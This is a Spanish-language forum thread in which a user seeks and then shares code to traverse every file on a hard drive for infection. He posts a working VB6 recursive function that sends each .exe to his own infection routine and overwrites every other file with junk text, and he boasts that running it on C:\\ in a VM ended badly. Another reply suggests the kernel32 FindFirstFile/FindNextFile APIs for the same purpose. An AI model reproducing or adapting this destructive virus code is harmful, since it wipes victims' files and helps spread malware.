Que pex.
Sòlo necesito saber como puedo hacer que todos los archivos del DD pasen por una variable (sName) uno por uno,para infectarlos o no,pero de eso me encargo yo.
Intente con algunos For y los controles DirListBox y FileListBox,pero no me resulta.
Alguna forma de hacer una busqueda completa de todos los archivos del DD,que no sea con WSCRIPT?
Gracias! ;D
En
Citar*http://www.recursosvisualbasic.com.ar/
encontraras ejemplos de lo que consultas, saludos!!
Cheque el sitio,pero mejor me quede con una funcion que adapte de un VBS que tenia por ahi,para no agrandar mucho el codigo jojo...
Private Function DoSearch(Path as String)
On Error Resume Next
Dim i
Dim fso As Object
Dim Folder, Archivos, Archivo, Subfolders, Subfolder
i = FreeFile
set fso = CreateObject("scripting.filesystemobject")
Set Folder = fso.getfolder(path)
Set Archivos = Folder.Files
For Each Archivo In Archivos
If ext(archivo.path) = ".exe" Then
Violar(archivo.path) ' funciòn mia..
Else
Open archivo.path For Output As #i
Print #i, "blah blah blah!"
Close #i
End If
Next
Set Subfolders = Folder.Subfolders
For Each Subfolder In Subfolders
DoSearch Subfolder.path
Next
End Function
Con esta funciòn fue suficiente,la probè en VMware y un simple DoSearch("c:\") terminò bastante mal jaja...
Gracias,se ve que hay muy buenos programadores por aqui!.
Private Declare Function FindFirstFile Lib "kernel32" _
Alias "FindFirstFileA" ( _
ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" _
Alias "FindNextFileA" ( _
ByVal hFind As Long, _
lpFindFileData As WIN32_FIND_DATA) As Long
mira estas funciones son todo lo que necesitas, busca aqui en el foro hay bastante de esto